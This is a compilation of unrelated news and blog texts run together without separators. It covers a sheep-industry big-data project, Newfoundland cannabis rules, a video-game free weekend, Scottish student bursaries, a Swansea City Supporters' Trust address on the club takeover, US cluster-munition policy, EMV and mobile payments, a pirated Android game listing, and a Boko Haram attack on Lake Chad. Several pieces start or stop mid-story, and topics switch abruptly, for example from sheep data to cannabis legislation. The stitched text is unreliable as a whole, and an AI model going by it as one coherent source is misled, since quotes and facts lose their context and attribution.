"We're working now on a program to predict specific risks for sheep; like lack of feed, parasites and extreme weather events," Sheep CRC's Dr James Rowe said.
"With the help of the D2D, CRC we'll construct the architecture so we can import Bureau of Meteorology data, genetic data and on farm data, to identify the risks for weeks and months."
Until now, the D2D CRC had been more focussed on defence, national security and intelligence.
Chief executive Dr Sanjay Mazumdar said while it was not vital for his team to know about sheep, it was important to share technology.
"We are entering a period of unprecedented potential for big data applications to transform productivity in many industries and the collaboration between the D2D and Sheep CRCs provides a unique and timely opportunity for the Australian sheep industry," Dr Rowe said.
He said the CRC was still receiving genotype information from the nucleus flock, from 2007 to 2014, which controversially lost its funding from Australian Wool Innovation.
"That is a really high quality set of data that includes production, meat or wool quality, genetics and genomics," Dr Rowe said.
"But at that time we weren't able to include climate data, which we're doing now."
Share Sheep CRC CEO James Rowe; D2D CRC CEO Sanjay Mazumdar; D2D CRC research director, Brenton Cooper; D2D CRC senior data scientist, Troy Wuttke and D2D CRC machine learning specialist, Jason Signolet.
Cropping with precision agriculture
Broadacre farmers have used global positioning in tractors for over a decade, to help reduce soil compaction on their farms.
But with big data, there is the scope for more information that can make farming even more profitable.
"We have just seen a massive boom with the way people are adopting technology," said Tim Neale, of the Toowoomba-based private start up Precision Ag.
Precision Ag uses soil analysis to develop maps to help determine lime and fertiliser rates at the beginning of the season.
The legislation will allow for the sale of marijuana in private stores, but it will be licensed and regulated by the Newfoundland and Labrador Liquor Corporation (NLC).
There will be some cases where the NLC will sell marijuana products, where there are no alternatives in that area. Innovation Minister Chris Mitchelmore said there will also be an online option, where those in isolated communities could purchase pot online.
The legal age to buy and consume pot will be 19, and youth possession will be prohibited and will result in a fine rather than a criminal charge.
At Thursday's news conference, Justice Minister Andrew Parsons said the NLC will set prices for marijuana, but that the details are still being worked out.
The Newfoundland and Labrador Liqour Corporation (NLC) will be central to marijuana distribution in the province, however private retail stores will be the primary location for people to buy cannabis.
He cautioned against the idea that marijuana legalization will be an economic boon for the province, citing the expense of implementation.
"We don't think there's a tremendous amount of money in this for the provincial treasury, and there's certainly going to be spending priorities as well for public education and enforcement."
"Having said that, it will be much better that any money generated goes to government rather than the criminals."
The legislation also prohibits consumption in public, and people will only be able to toke up in their home or on private property.
Mixed reviews on NLC's role
NDP interim leader Lorraine Michael isn't a fan of private retailers selling the drug.
"[Government is] going to be working towards total privatization and I find that's problematic. Why not stay with the NLC?" she said, following Thursday's announcement.
Michael said she doesn't feel it's a big risk if it was only available via NLC stores — and that it could mean more money for the province.
"Once you get private, the profits are going to go in another direction. Whereas the more profits we can get for government, the more money we have to go into services for our people, into healthcare and into education," she said.
Thomas Clarke, who says he is a cannabis advocate, thinks the NLC should play a regulatory role only. (Ted Dillon/CBC)
But Thomas Clarke, a self-described cannabis advocate, is happy with the role of the NLC, for the most part.
"As long as they go at it from a distribution and a regulatory perspective, I think that's the best way for the province and small business owners are going to be able to thrive as long as they dot their i's and cross their t's in a timely fashion," he said.
No edible products — yet
Unlike alcohol, businesses won't be able to serve pot, at least not until the federal government tackles rules around edible marijuana products.
"As cannabis is an intoxicating substance its consumption should be regulated, as we already do with alcohol," Parsons said at the news conference.
You can smoke in a home, but not in a car, and you have to be 19 - just some of the rules announced Thursday 7:56
Government says it is committed to developing an industry around production and sale of marijuana, and is working with local companies on those efforts.
An education campaign is also being developed to be rolled out in conjunction with legalization.
Parsons said when it comes to stopping people from driving while high, the details are still being worked out.
"Impaired driving has no place on our roads," Parsons said. "We are working with the federal government and are pressing them for more resources so that the RNC and RCMP have the tools and training they require to enforce the law."
Liquor act amendments
To get things rolling on legalization, the first move will be to amend the Liquor Corporation Act, which will give the Crown corporation the ability to buy, import and sell cannabis, control its sale and delivery, issue licences and determine prices, and — in some cases — sell pot. Those amendments will be introduced Thursday at the House of Assembly.
After the amendments have been made, government will issue a request for proposals from private retailers who want into the pot business.
Yes, everyone knows that there ain’t no weekend like a Steep Free Weekend cause a Steep Free Weekend don’t stop (till Monday) And this weekend is a Steep Free Weekend.
If you’ve got a PS4, Xbox One or PC and Internet access, for two (almost three!) days you’ll be able to download and play Steep for nothing, free, gratuit, frei, gratuito. You’ll have access to the full DICE Sports Game of the Year, including the recently released Alaska update and all online modes.
Experience dawn on the Matterhorn, wear salopettes at Les Chosalets, enjoy the incline of the Zweiselstein – but what you do on Mont Blanc is your own business.
So why not get a few online friends together and dive in for some snow-based shenanigans? The free weekend starts this Friday the 10th March, at 8:01am on Xbox One and 6pm on PS4 and PC – and closes on Monday 13th March at 7:59am on Xbox One, and 6pm on PS4 and PC.
But what will you do when it closes? What if Steep turns out to be the Winter Sports Holiday you never want to end? Well, one option would be to buy the game at a vast discount and carry your progress over: brace yourself for an avalanche of numbers. From the 10th to the 21st of March, the Xbox Live store will be selling Steep’s Standard Edition with 50% off, and the Gold Edition (containing the Season Pass) with 40% off. On PSN the Standard and Gold Editions will both be 44% off until March 15th. Likewise, Ubisoft Store will be selling the PC versions of Steep’s Standard and Gold editions at a 40% discount until the 15th. Got it? Good.
To find out more about Steep, check our cunningly named guide to Everything You Always Wanted To Know About Steep But Were Afraid To Ask.
From 2016/17 the household income threshold for receiving the maximum bursary will also be raised from up to £17,000 to up to £19,000, and bursaries for higher education students from Scottish households with an income of up to £24,000 will increase by £125 from the next academic year.
“Widening access to Higher Education has long been a priority of this government to ensure every young person who wants to attend university is not prevented by their economic or social circumstances,” Constance told a conference on widening access today.
FURTHER READING
More deprived students going to university
Widening access is 'wider than universities'
Vonnie Sandlan, president-elect of the National Union of Students in Scotland said the announcement was “great news” after years of campaigning.
“Today’s announcement is a strong recognition of the importance of student support to improving fair access and step forward in boosting the amount of money the poorest students have. Crucially, it delivers the increases in grants, further reducing student poverty without adding any worries of increased debt,” she said.
Scottish Liberal Democrats education spokesman Liam McArthur said the announcement was “welcome, but overdue and hardly in keeping with the SNP’s promise to end the reliance on student loans.
Good evening and thank you for attending this fans forum hosted by the Swansea City Supporters’ Trust.
Firstly, may I take the opportunity to thank you for your continued support of the Trust and for renewing your membership for the current season. May I also apologise to you all for a lack of communication from the Trust over the last couple of months with regard to the takeover of the club and our role going forward, however this has been due to the nature of the negotiations and discussions which have been taking place. As you will come to see, it is a silence which will be broken tonight as we outline a full history of our discussions, along with the Trust’s position now and also moving forward. Hopefully by the end of the meeting you will understand why events have proceeded as they have.
I am sure that, as I walk you through the events of recent months, you will have questions, but can I ask that you save these for the end. At that point you will hopefully understand fully everything that has happened, including the actions taken by us as a Trust board.
During this address, I will take you through an account of the events of that time and it is important for you to remember three things that are absolutely key:
1. We were, and remain, the second largest individual shareholder within our football club;
2. We were, and remain, the only shareholder whose sole motivation is the long term security of our football club for future generations;
3. Our preferred position has always been, and remains, to try and retain a stake in the club, and we have always wished to work with our shareholder partners to achieve this.
At this point it is worth noting that the Trust has always been represented in any discussions by a member, or members, of the Supporters Trust board and its advisors. Those include myself as the Trust chair; Jim White as Vice Chair; Huw Cooze as our Supporter Director; Stuart McDonald as Treasurer; Andy Godden who works very closely with Stuart understanding our, and the club’s, finances; Richard Major, who is a partner at Price Waterhouse Cooper and has extensive experience in investigating complex financial deals and finally, our legal representative David Little, who I am pleased to say is with us this evening.
Of course, this is not the first time we have stood here to discuss a takeover of the football club. We were here in February 2015 to discuss a potential deal, however that failed to come to fruition. As you all know, this time a majority stake has been sold to a consortium led by Jason Levien and Steve Kaplan.
From our perspective, this deal is no different to the last in that it has been for a sale of the shares of the football club and not, as reported in the media, an investment into Swansea City football club. As I did last year I must stress that there is a massive difference between a sale of shares and investment – when shares are sold, the money goes to the selling shareholders, not the football club. This is not to say that there will not be an investment into the club at some point in the future, however we can state that we are not aware of any investment to date.
Of course there are two main differences between the events of 2015 and now. Firstly, in 2015 we were properly engaged in the deal. We could perform our own due diligence of the buyers, we could meet with them to discuss their plans and both sides could see whether we could work together or whether a deal could be reached to the benefit of all parties. The big difference this time is that the Supporters Trust had been deliberately excluded from discussions due to the collusion in particular of the selling shareholders. By the time we found out about this deal, negotiations were extremely advanced and thus we were excluded from any discussions regarding any sale of our stake.
You may ask why we were kept out of the loop, and some may question whether we actually were. For the latter I can only reconfirm that is the case, a fact publicly acknowledged by Huw Jenkins at the London Fans Forum last May, and I can also state that Huw Jenkins confirmed to me that discussions were taking place as far back as Summer 2015. The justification we have received from the buyers and sellers for the former is effectively that “The Trust were not selling and we wanted to keep it quiet”. You can, of course, draw your own conclusions as to why the buyers and sellers would want to keep the Trust out of the loop.
I will say that at NO point has the Trust ever said that we will never, under any circumstances, sell our stake in the football club. It is fair to say that it is not our preferred option and goes against one of the stated aims of the Supporters Trust, which is to maintain a stake in the football club. It is also true to say that we recommended that we should not sell to Moores and Noell last year. However, all deals need to be judged on their individual merits.
We knew, from the moment of the initial American interest, that existing shareholders were looking to sell their stakes, so it was not a surprise to know that there could be a potential sale. From a Trust perspective, the fact that the sellers were looking to sell is not the main issue … once heads had been turned by the potential windfall available to the shareholders, it is probably for the best that changes were made in the ownership of the football club. Our issue is that the deal had progressed so far behind our backs.
We were first made aware of the intentions towards the end of March when myself, Huw Cooze and Stuart McDonald met with Huw Jenkins and Leigh Dineen at the Liberty Stadium. A few days later, Huw Jenkins then provided a copy of the draft term sheet. This was our first sight of any detail and it was at this point that we fully realised just how far discussions had gone.
We met with Jason Levien on the morning of the clash with Chelsea last April and myself, Huw, David Little and Richard Major were present at that meeting. This was our first chance to understand what Jason’s thoughts were for the football club, and whilst talks were not detailed or conclusive, the meeting was not negative. At this time we could only take Jason Levien’s words that “I want to work with the Trust” at face value.
We moved from that meeting to one with Martin Morgan and Brian Katzen, who informed the Trust that there was also interest from some Chinese businessmen who wanted to investigate the possibility of investing in the football club as part of a wider investment in the City of Swansea. This deal stalled largely due to a lack of interest from the other shareholders, who were seemingly more interested in selling their shares than investment in the football club, to the point that they refused to even meet them.
I think most of us are aware of what happened next but that very evening, the news of the takeover broke in the press. This was as surprising as it was disappointing, as nothing had been mentioned in our earlier meetings that this story was to break. It is worth noting here that the seller blamed the buyer for the leak, and the buyer blamed the seller. Either way, regardless of how the deal was spun as positive for the football club, it was not really an indication of either party wanting to work closely with us.
Whilst we met during April with the existing shareholders to ascertain their position, the key to us at this point was of course the buyers and in early May, Dai Little and Jason Levien were in touch to arrange a meeting which took place in London on 16th May, with both Dai and Richard Major representing our interests. At this meeting Dai outlined our position around our ideal option being to retain our stake and influence at the football club, however in order to achieve that then key protections would need to be granted to ensure both parties could work together. Again, discussions were positive, however no agreement was reached. At this time, it was agreed that it was now time for our respective legal teams to start working together.
The discussion was progressed slightly on 7th June, when we received an email from Jason providing us with the details regarding the proposed share purchase, and a call was set up with a company called Sheridans, who were acting on behalf of the buyers in completing the deal. It is fair to say that we only received this information after prompting from Dai Little, who requested full disclosure of the deal.
In the interim period between the first announcement (April) and this point (June) we took time to point out to all shareholders that the Trust could be better protected by them. I am not sure how many people are aware here but Mel Nurse, a complete Swansea legend, sold his 5% stake back to the football club in 2011 for a price agreed directly between him and the club, however it was for a fraction of the price offered by the Americans. That deal increased everyone’s shareholdings (ours for example went from 20% to 21.1%) and we pointed out that if that increase was donated to the Trust, taking our stake up to 25%, then their legacy of protecting the football club would be complete. I am disappointed to say, the response was not even to decline the offer, it was complete silence.
Here I would ask you to remember that this is not the first attempt we have made to obtain or purchase additional shares in order to obtain a 25%+ stake. Unfortunately, each time we have been clearly told (or even not told as the case may be) that the answer was a resounding “No”. We can only assume the reason is that it would devalue the monetary value of the other shares, and that the selling price was more important to them than the ongoing security of Swansea City FC.
As time progressed and speculation increased that completion of the takeover was imminent we became more frustrated at the lack of full engagement and publicly said so. This drew a reaction from Jason Levien and sped up some key actions, such as outlining what was important to us in a draft term sheet sent on 18th July. This draft term sheet suggested many things but some of the key points include:
Protection of the Trust’s stake in the football club and, if that cannot be achieved, a path to agreeing a sale of all or part of the Trust’s stake;
Veto rights over decisions that could affect the long-term security of the football club (e.g. excessive debt, issuing new shares);
The right to appoint a second director to the board of the football club to better protect the interest of our members;
Removal of any directors whose shareholding was below 5%;
No dividends to be issued without consent;
At this point, Jason indicated to us that a complete non-dilution provision was unlikely. Therefore it was necessary to look at how we could best seek to protect the long term interests of the Trust. Our options here were to:
a) agree that any new shares would be issued at a discount due to our unique position of needing to raise funds through the fans;
b) sell part of our stake to hedge against future share issues;
c) sell our entire stake and retain any money as security against any future financial problems for the football club.
This process also highlighted something else that was a concern to us, and that was that the selling shareholders had warranted to the buyers that the Shareholders Agreement that had bound us since 2002 was not valid.
Given that we have copies of correspondence and board meeting minutes going back over the last 14 years that confirms the sellers repeatedly acknowledged and stated this agreement was binding, this was something we were shocked by. We stated our view to Jason Levien as well as advising of our own legal advice from last year that stated that the document was indeed a valid one. As I stand here today we still firmly believe, and have updated advice from legal counsel, that this document is valid and therefore the actions of the sellers to warrant otherwise was wrong. Unfortunately both buyers and sellers elected to knowingly proceed in breach of this agreement.
On the 19th July the Supporters Trust were then approached by Chris Farnell, a solicitor acting for Huw Jenkins and other selling parties, asking the Trust to sign a waiver stating that the original Shareholders Agreement was not, and had never been, valid. This document, which was sent with the full awareness of Huw Jenkins as a signatory, also came with the offer that, if signed, the Supporters Trust would be afforded 2 director positions on the club board – one full directorship and the other with observer status. This offer was rejected and the document remains unsigned on our part. It also demonstrates that, even though the sellers warranted that there was no existing shareholder agreement, the sellers were more than aware of its existence, otherwise why would they seek to invalidate it?
We met twice with Jason Levien when he was in Swansea to conclude the deal for the football club around the 21st July, and we subsequently arranged a call for the 25th to discuss further. Just 10 minutes before this call, Chris Farnell sent us a document agreed between the buyers and the other remaining shareholders detailing a new Shareholders Agreement. Needless to say, this was the first we were aware of this new document, we have not and will not sign it, and we continue to operate under the terms of the original Shareholders Agreement.
It was at this time that the reality of what the selling shareholders and buyers had agreed became fully clear. Whilst some previous shareholders retained a small stake in the football club, they had largely signed over their voting rights to the buyers. That meant that the buyers had control of over 75% of the voting rights of the football club. Along with the collusion and deception, it was particularly disappointing to see the levels to which our former business partners had stooped.
The lack of communication was further demonstrated as we were alerted on 4th August to the filing at Companies House of a new Articles of Association of the football club. These were filed without reference to us, or agreement with us. Also around this time, two senior members of the club’s management staff were dismissed without notice and certainly appear to have been treated badly as an indication to how things are not working in the way to which we had become accustomed.
As it became clear that our influence at the football club was being reduced, we indicated, via a separate call attended by Sam Porter (one of the advisers to Jason Levien), that we would wish to see what a share sale would look like, as the protection of our position was becoming increasingly difficult thanks to the actions outlined.
On 12th August, we received an email from Sam advising that (and I quote) “open to accommodating the Trust’s request and are willing to entertain purchasing up to one-half of the Trust’s ownership shares on terms that are fair and reasonable. The funds received by the Trust from the sale would provide the Trust ample flexibility to participate in a future share offering. With its remaining ownership interest, the Trust would then keep the same rights that the other minority shareholders thoroughly negotiated”.
These rights are the ones detailed in the document provided ten minutes before the conference call. This was a document drawn up for the benefit of minority shareholders who were looking to retain a very small stake in the football club, and who would not retain a meaningful influence in the future direction of the football club through their shareholding. Whilst, as a 21% shareholder, we are classed as a minority shareholding, our rights and desires do not match those who chose to sell larger chunks of their shareholding for personal profit.
It is worth noting at this time that, while we have discussed options with the buyers, at every stage of the discussions we have made it known to all parties that any decisions we take are not made by me or the Trust board, but by the people we are accountable to and that is our members. While the Trust may discuss terms with the buyers, we could only ever present those to the Members for consideration. It would be a decision for the members if the Trust was ever to sell any or all of its stake in the football club.
As the season got underway, Huw Cooze and I met with Jason and Steve Kaplan ahead of the Hull fixture. This discussion served to further emphasise how far apart the new owners and the Supporters Trust were in terms of our negotiating positions, with the only agreement being in terms of there being no plans to issue new shares until 31st May 2017.
Unfortunately, short term protection without any form of long term protection is not something we could work with and, whilst both Jason and Steve were keen to point out that it was not their intention to issue new shares or seek to weaken the Trust’s financial position, there was no agreement on how we could progress going forward. When this is coupled with the complete lack of communication regarding the new shareholders agreement and the new Articles of Association, then this was the point at which discussions ceased as we looked to consult further with our legal counsel.
We have now completed our initial discussions with our legal counsel. This is the same barrister we consulted with on the initial American interest in 2014 , and who is an experienced barrister with over 20 years’ experience in matters such as contractual disputes and possible Unfair Prejudice actions. We asked him to confirm (amongst other things):
Whether we had any claim for unfair prejudice due to actions taken by buyers and sellers;
Whether the 2002 shareholders agreement was valid;
Whether we can argue that new articles being passed without notification/agreement to us makes them invalid;
What actions the Trust should take;
Following an email response and a follow up meeting held last week, we can draw the following conclusions:
It is clear that the buyers and particularly the sellers colluded against the Supporters Trust in the way that we were excluded from all negotiations, and that our interests have been prejudiced against. Whether this would enable the Trust to launch a successful formal legal action for Unfair Prejudice, thereby compelling the Buyer to buy out the Trust shareholding, is not clear so we are seeking further guidance from our Barrister.
The 2002 Shareholders Agreement is valid and the sellers should not have warranted otherwise. The actions of the selling shareholders amounts to a clear breach of contract. We have asked out Barrister to assess what claims we have against the Sellers as a result.
While the passing of the new Articles of Association without our consent does not invalidate them, the failure to comply with notice provisions means that the directors are guilty of a criminal offence. We have asked our Barrister to advise on whether there is any merit in the Trust seeking to take action, either in the name of the Trust or in the name of the football club, to see what remedies are available to the Trust and what action may be taken against the Directors and by whom – how would we go about informing the authorities and what sanctions could the directors face?
As you can see, our legal options are still being assessed and we will obtain the best guidance we can to ensure the Trust members’ best interests are maintained. Whilst we have sought an initial opinion from counsel, we have not yet made any firm decisions in terms of the next steps to be taken.
As we have outlined previously, our first preference has always revolved around protecting our shareholding and influence at the football club, however as you can tell from this address we are significantly apart on these matters. We have sought guidance from Supporters Direct throughout, a relationship strengthened by our legal representative Dai Little recently being elected to the Supporters Direct board, and their firm recommendation is exactly the same as our first preference.
We are also conscious that any legal action would create uncertainty, not just in terms of its success, but also our relationship with the new owner and destabilising the football club. This remains a last resort, however we also have a duty to our members and the best long-term interests of our fans. In all cases, if it is the recommendation of our legal advisors that legal action is to be taken, this would require the full approval of the Trust Members via a forum or ballot due to the potential impacts and costs involved.
If the gap between the Supporters Trust and the buyers cannot be closed then we will have no option but to pursue other options. We could push harder for the sale of the shares to Jason and Steve, or even pursue other avenues of sale. We will continue to assess these options. However, as legal counsel confirmed previously, we should note that the Supporters Trust is limited in terms of what it can do with any funds it receives due to Government legislation that governs our organisation.
Regardless of our options, the guidance does bring into sharp focus the actions of the sellers who have acted purely from a position of self-interest with little regard for the future of the football club, the Supporters Trust or the fans. It also reflects badly on the buyers, whose words to date of wanting to work with the Supporters Trust have been backed up with precious little action.
We remain disappointed at how we have been completely bypassed by the remaining shareholders in decisions regarding the future of this football club. What we have outlined above relates more specifically to the sale of the football club, however it is much deeper than that. There has been a much wider disconnect between the Club and Supporters Trust under the new ownership.
The feedback from our Supporters Director is that the level of engagement, on all matters, is significantly lower than at any time over the last 14 years, and that is something that is unacceptable to us. It is imperative to us that the Supporters Trust is fully engaged in all major decisions regarding the football club and in particular those areas that are important to our members and the fans in general.
For instance, take the recent disgraceful way in which the club conducted itself regarding the change of manager, another decision made without consultation, and we obviously wish Francesco Guidolin all the best for the future.
Notwithstanding the nature of Francesco’s departure, we wholeheartedly wish Bob Bradley every success as manager of Swansea City Football club and we look forward to working with him and of course wish him and the squad the very best of fortune in his first home game this weekend against Watford.
The actions of people who purchased shares in this club at varying points from 2002 onwards have placed us in a very difficult position, and I hope you can see we have looked at every avenue in finding a way through the situation. However, I have to say that the interests of the supporters of our football club have been largely ignored by those sellers and that has unpicked very quickly the legacy of the good work we have undertaken over the last fourteen years. It is a shame that the legacy of Swansea City being “Not Just Another Football Club” has not been lived up to.
From that perspective, it has also been disappointing to read comments on social media by former directors of the football club, and also their continued attendance in the Directors Box on match days. It is the view of the Supporters Trust that it is unacceptable for former directors to continue to enjoy the benefits they once enjoyed before they cashed in their shares.
In terms of what happens next with regards to our relationship with the new majority owners and the football club, it is impossible to say. Due to logistical reasons and other pressing issues (i.e. the recent football management changes), discussions have been limited in recent weeks. However, Jason Levien has indicated to us that he will be attending the Watford game this weekend and we have requested to meet with him to discuss the situation. If there is a major change in the way the buyers have operated to date, then there still may be a path to working together for the long term interest of the football club. As custodians of a substantial stake in this football club, this remains our preferred outcome, so we urge the new majority owners to work with us, not without us.
I hope that you can now see that our silence has not been a result of us sitting on our hands and doing nothing. The amount of work that has gone into discussions, meetings and strategy calls, from what is a group of volunteers, has been incredible and whilst many have asked, particularly online, for us to play things out in public, that is never the way that such complex and often legal negotiations can take place. As a result we have suffered a lot of criticism which, while we may feel is unfair, is sometimes understandable when we cannot publicise information on the discussions to date. Hopefully this address will go some way to resolving these issues.
I am sorry I cannot be the bearer of better news and say that I have complete confidence in the future, however I thank you for attending this evening and taking the time to listen to what I have had to say.
I hope now that you appreciate we have tried to be as comprehensive as possible. Our position and actions are now out in the open and I would now invite any questions that you may have for myself, Dai, Huw or any of the Trust board.
Thank you.
By Scott Martin
18 November 2011
The Obama Administration is pushing to allow the use of a weapon prohibited by an international treaty because of its indiscriminate killing and maiming of civilians, particularly children. The US is seeking clearance for all cluster munitions made after 1980 even though the weapons are currently banned by 111 states that have agreed to the Convention on Cluster Munitions (CCM).
The BLU-97 is a US bomblet used Iraq, Afghanistan, Yugoslavia, and Yemen. The yellow clylinder explodes into fragments, while a metal cone on the inside forms into a projectile that can pierce tank armor. In Afghanistan, these weapons were dropped at the same time as yellow food rations. Civilians picked up the yellow bomblet duds in error, causing grievous injury and death.
The anti-personnel weapon is designed to inflict mass casualties. Cluster bombs and artillery shells are filled with hundreds of even thousands of “bomblets,” which disperse at random, and on impact, explode into thousands of projectiles that rip through bodies and structures. Perhaps most maliciously, they have a very high failure rate, which leaves countless duds scattered across a landscape, liable to explode at the slightest touch.
The 2011 Cluster Munition Monitor estimates the global total of cluster munition casualties in the last half-century is between 20,000 and 54,000. The vast majority of victims were affected after a conflict had ended. The munitions are sometimes brightly colored and can be mistaken for toys, leading to horrific deaths and injuries among children.
The broader treaty on arms control, the UN Convention on Certain Conventional Weapons (CCW), bans such weapons as mines and incendiary devices, but as of yet has not prohibited cluster munitions. Negotiations are underway in Geneva on this subject, after years of obstruction from the major users and producers of cluster munitions—Russia, China, and above all the United States.
This US bomblet was used by the hundreds of millions in southeast Asia, and millions of duds continue to plague the population forty years after the conflict. The closeup on right shows metal balls cast into the shell that become a maelstrom of molten-hot projectiles on impact, specifically designed to maximize injury to humans.
The failure of the CCW treaty to address cluster munitions prompted the creation of the CCM as a separate treaty. It went into force in August, 2010, obligating over 60 countries that have ratified the treaty to destroy their stockpiles and prevent usage or sale of the weapons.
The United States is by far the largest historical user and stockpiler of cluster weapons, followed by Israel. The US and Israel both refused to join the Convention on Cluster Munitions. The same is the case for other large producers and stockpilers, such Russia, China, India, Pakistan and Brazil.
Although the US is not a member, the Obama Administration is now leading an effort to invalidate what modest effect the CCM treaty has had. It has proposed a treaty, as part of the CCW, which would allow the use of all cluster munitions made after 1980 for twelve years after the treaty comes into force. This covers practically all the stockpiles of cluster munitions, as weapons older than 1980 are past their service life anyway. Moreover, all recent usage of the weapons has been with models made after 1980.
The treaty would exempt cluster munitions with a failure rate of less than 1 percent, an easy target when manufacturers self-report failure rates. Israeli-made M85 rounds supposedly had such a rate, but when the weapons were used in 2006 in Lebanon, experts found the failure rate to be over 10 percent.
Finally, the treaty would place no restrictions on the use of weapons with one self-destruct mechanism, which, contrary to the claims of multi-billion dollar defense companies, still leave large numbers of unexploded submunitions on the ground.
Non-profit organizations that have pushed the CCM ban on cluster munitions have universally condemned the US proposal. Human Rights Watch states, “It is unprecedented in international humanitarian law to adopt an instrument with weaker standards after one with stronger standards has already been embraced by most of the world’s nations.”
Steve Goose, chair of the Cluster Munition Coalition, said, “this is clearly an attempt by the United States and other countries that have not banned cluster munitions to provide political and legal cover for any future use of the weapons.”
Four major powers that have banned the weapons—Germany, France, the UK, and Australia—have announced they support the US treaty. As current members of the CCM, Germany, with 67 million submunitions, and the UK, with 39 million submunitions, have destroyed half of their stockpiles.
In a climate of increased national tensions in Europe, with the potential for the breakup of the Eurozone, the adoption of the US treaty by European powers would amount to one further step towards re-armament.
As for the United States, the impact of its use of cluster munitions continues to have devastating effects.
On September 29th, 13-year old Koeun Vutha and his 22-year-old friend, Sdeung Makara, played with cluster bombs found in a field while tending cattle in the Dangkor district of Phnom Penh, Cambodia. Koeun was killed, while Sdeung was seriously injured in his chest and hands from the explosion of five bombs.
Sixteen more bombs were found in the field by police, dating back to the extensive US bombing of southeast Asia during the Vietnam War. Over a ten-year period US planes dropped cluster bombs an average of every 8 minutes, making the area the most heavily bombed in the world.
An estimated 80 million unexploded bomblets remain in Laos. Three children between the ages 9 and 11 died this May in the Savannakhet Province when they came across a bomb while foraging for bamboo.
In addition to children, farmers are also at enormous risk. Millions of bomblets sunk into the perennially moist soil of the largely agricultural region in Laos. iWatch News tells the story of Ladoune, who knew as a child to avoid the bombs, and successfully moved safely around one near his village when young. Last fall, as he stoked a backyard fire, a bomblet—hidden just feet from his family’s home—exploded in his face, costing him and eye and a finger.
“Ladoune is in his early 20s. His vision is mostly destroyed and his future is uncertain. He wonders how he will care for his wife and two young children. There were assurances of help from the government and aid agencies but none materialized, he said. He’s still waiting for a promised glass eye. ‘Who do I blame? What’s the use?’ he asked.”
Ladoune is one of 300 Laotians injured or killed each year from US bombs. In Vietnam and Cambodia, the picture is similar.
The US also dropped cluster weapons on a large scale in Iraq in 1991, in Yugoslavia in 1999, Afghanistan in 2001-2002, and Iraq again in 2003-2006. Untold thousands were killed and injured in these strikes, and civilians continue to face dangers on a daily basis in targeted regions.
The Iraq War was the last known usage of cluster weapons by the United States prior to the development and passage of Convention on Cluster Munitions. Though the US did not join, the treaty organizers claimed the adoption by other nations would pressure the United States and other major users to follow suit.
Instead, on December 17, 2009, the Obama administration carried out one of the most lethal uses of cluster munitions possible—a cruise missile attack in Yemen that killed 44 innocent civilians, including 14 women, 21 children, and 14 people alleged to be “militants.” This was perhaps the first use of a cruise missile as a delivery system, rather than a bomb or artillery shell, expanding the weapon into the realm of targeted assassination.
Card issuers, to be sure, are moving in lock-step with the payment networks’ collective migration roadmap that incentivizes EMV adoption by shifting fraud losses from adopters to non-adopters. Merchant acquirers, on the other hand, think the EMV migration is a big joke.
According to a DDPR survey of 26 ISOs and acquirers in the first quarter, only 30% had an interest in pursuing a partnership or a vendor relationship for EMV. That compares to 72% for mobile point of sale, 68% for digital loyalty, 62% for semi-integrated payments solutions, 58% for integrated payments and 46% for e-commerce gateway.
The overwhelming focus of the merchant acquiring community is not on EMV, but rather on mobile point of sale (MPOS) and the value-added services that can be enabled through MPOS. Why would this be the case just a few months before EMV adoption becomes a key criterion for assigning fraud losses to their merchants? For three reasons: EMV adoption is a low priority for merchants; EMV acceptance solutions for merchants require certification by parties that have long, impenetrable certification queues that will be full indefinitely; and because EMV is a payment technology.
Hopefully, you raised your eyebrows a bit when you read that last one. Why wouldn’t an ISO or acquirer be interested in a payment technology, even one that is 30 years old? Because ISOs and acquirers no longer want to be payments companies.
Payments is a mature, crowded and commoditized market where deals are won through pricing concessions. EMV doesn’t solve that problem, so ISOs and acquirers are focused elsewhere. Rather than payment companies, they wish to be solutions providers that can offer a whole variety of payment- and non-payment related services to their merchants. They want to be able to provide irreplaceable services that demand premium prices and keep their customers paying for as long as possible. That’s not possible with payments, EMV-enabled or otherwise. MPOS, however, has ISOs and acquirers extremely interested.
Considering the goal of transforming a distribution-centric payment company into an irreplaceable solutions provider, what better answer could there than a technology that offers an application store through which an infinite set of proprietary and third party services can be deployed? MPOS does this so it’s clearly a far superior platform than is the traditional, single-purpose payment terminal. The key is getting merchants to adopt that new platform. From there, the possibilities are limitless.
And that is where EMV comes in. To merchant acquirers, it’s not the next generation technology, MPOS is. So what is EMV? It’s a network sanctioned, highly publicized excuse to initiate a new dialog with merchants. One that helps open doors so that ISOs and acquirers can speak with merchants about what’s really important: MPOS.
So forget about the great EMV migration and start thinking about the great MPOS migration, it’s far more transformational. Successful MPOS products will transform the way merchants do business across finance, operations, marketing and technology. To succeed in this market, ISOs and acquirers will need to know their merchant’s payment and non-payment needs inside and out, and have the ability to deliver solutions that meet those needs. That, in itself, is transformational to the acquiring industry. Those that can learn to be true product companies will flourish, those that don’t will flop.
Gameloft is quite known — and hated too — for not making available its games in the android market. If you wanna buy their games, you need to get it from their own window at their own website. But guess what, one of their games — the GT Racing HD is available in the android market. If you thought your prayers finally paid off, you will be blown to know that the developer SawDevelopment, who’s selling it for $2.99, is actually distributing the hacked one — a pirated game.
It’s clearly not an official release from the Gameloft — the developer is not Gameloft in first place, and the android market’s description tells that too. It includes “Install Notes” which are nothing but a “How To” crack/hack this game, that is, running a pirated game using the game’s installation file (apk) with instructions of how to download game’s full data while not getting caught by the developer Gameloft.
The pirated copies of the game — android, PC or any other gaming platform — are available on internet and it has been a tradition we’ve been living with for ages for PC games. But to launch a pirated copy of a very popular game developer bluntly on the official market with hacking instructions is something first ever I’ve seen.
Of course, it points to one serious deficiency of the android market. It’s hard to quantify the amount of gains such fraudulent developers could make but it is certainly a ‘disgrace’ to learn about.
So, now that you know about it, don’t get caught offside by mischievous devs in the market who look quite determine to unravel the new dimensions of making profit out of pirated stuff — so officially. I think the developer and the game entry in the android market will get deleted soon, but one should be cautious and of course, I really don’t expect every novice android user to not get caught with such tactics of devs.
What do you think?
At least 74 Nigerien soldiers and civilians were killed when hundreds of the militants aboard motorised canoes attacked the island of Karamga at dawn on April 25.
Dozens of soldier are still missing following clashes that ultimately drove out the attackers, leaving 156 of them dead.
Residents were told to leave the islands by May 4, according to a statement released by the governor of the region of Diffa.
“Due to security imperatives, the governor of the region of Diffa has the honor of inviting the populations living on the islands in the Nigerien part of Lake Chad to leave the islands and rejoin the mainland,” the statement read.
Karamga, attacked once before by Boko Haram in February, is prized by both sides as a strategic base among a vast maze of waterways and swampland straddling the borders between Niger, Chad, Nigeria and Cameroon.
